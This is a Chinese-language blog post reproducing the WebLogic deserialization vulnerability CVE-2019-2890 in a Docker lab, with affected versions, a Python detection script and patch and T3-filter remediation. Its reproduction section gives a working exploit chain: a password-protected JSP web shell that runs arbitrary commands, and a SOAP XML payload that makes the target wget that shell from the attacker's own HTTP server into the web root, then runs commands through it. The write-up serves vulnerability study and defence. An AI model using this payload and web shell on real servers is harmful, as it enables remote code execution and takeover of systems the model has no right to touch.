WebLogic 反序列化漏洞(CVE-2019-2890)复现

一. 漏洞介绍


       2019年10月15日,Oracle官方发布了2019年10月安全更新公告,其中包含了一个可造成RCE远程任意代码执行的高危漏洞,漏洞编号为CVE-2019-2890。

       Weblogic在利用T3协议进行远程资源加载调用时,默认会进行黑名单过滤以保证反序列化安全。本漏洞绕过了Weblogic的反序列化黑名单,使攻击者可以通过T3协议对存在漏洞的Weblogic组件实施远程攻击。由于T3协议在Weblogic控制台开启的情况下默认开启,而Weblogic默认安装会自动开启控制台,所以攻击者可通过此漏洞造成远程代码执行,以控制Weblogic服务器。

二. 影响范围


WebLogic Server 10.3.6.0
WebLogic Server 12.1.3.0
WebLogic Server 12.2.1.3


三. 漏洞环境搭建

进入环境目录

启动容器

docker-compose up -d

端口查询

docker ps -a

四.漏洞检测

#author:xcc
import requests
import re
import argparse
headers={
	'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36'
}
def url():
	parser = argparse.ArgumentParser(description=' WebLogic 反序列化漏洞(CVE-2019-2890)POC')
	parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.140.153:7001')
	args = parser.parse_args() 
	global url
	url = args.target_url
	print('[+]author:xcc')
	print('[-]WebLogic 反序列化漏洞(CVE-2019-2890)检测')
	print(f'[-]目标:{url}')
	print('[-]正在请求目标地址...')
	if url.startswith('http://') or url.startswith('https://'):
		pass
	else:
		print('[-]Please include http:// or https:// in the URL!!')
		os._exit(0)
def poc():
	url_console = url + '/console'
	try:
		console_text = requests.get(url=url_console,headers=headers).text
		ex = '<p id="footerVersion">WebLogic Server .*: (.*?)</p>'
		result = re.findall(ex,console_text,re.S)
		url_vul = url + "/_async/AsyncResponseService"
		r = requests.get(url=url_vul,headers=headers)
		version_list = ['12.2.1.3','12.1.3.0','10.3.6.0']
		if r.status_code == 200 and "Welcome to the" in r.text and result[0] in version_list:
			print('[+]漏洞存在')
		else:
			print('[-]漏洞不存在')
	except Exception as error:
		print('发生错误:',error)
 
if __name__ == '__main__':
	url()
	poc()

五.漏洞复现

访问http://192.168.0.116:7001/_async/AsyncResponseService

在本地生成shell.txt文件

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[1024];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

在本机开启web服务,并成功访问

python -m http.server 12345

通过burp抓取http://192.168.0.116:7001/_async/AsyncResponseService页面的包

修改包的数据为以下内容

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.0.116:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Connection: close
Content-Length: 868
content-type: text/xml


 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">  
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://192.168.0.124:12345/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/shell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

发送成功,显示木马文件已经被写入服务器

访问http://192.168.0.116:7001/_async/shell.jsp?pwd=123&cmd=ls

获取当前目录文件

六. 漏洞修复


1.更新Oracle 2019年10月补丁

      https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html

2.控制T3协议的访问

      此漏洞产生于WebLogic的T3服务,因此可通过控制T3协议的访问来临时阻断针对该漏洞的攻击。当开放WebLogic控制台端口(默认为7001端口)时,T3 服务会默认开启。具体操作:

(1)进入WebLogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。

(2)在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则中输入:127.0.0.1 * * allow t3 t3s,0.0.0.0/0 * * deny t3 t3s(t3和t3s协议的所有端口只允许本地访问)。

(3)保存后需重新启动,规则方可生效。
 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值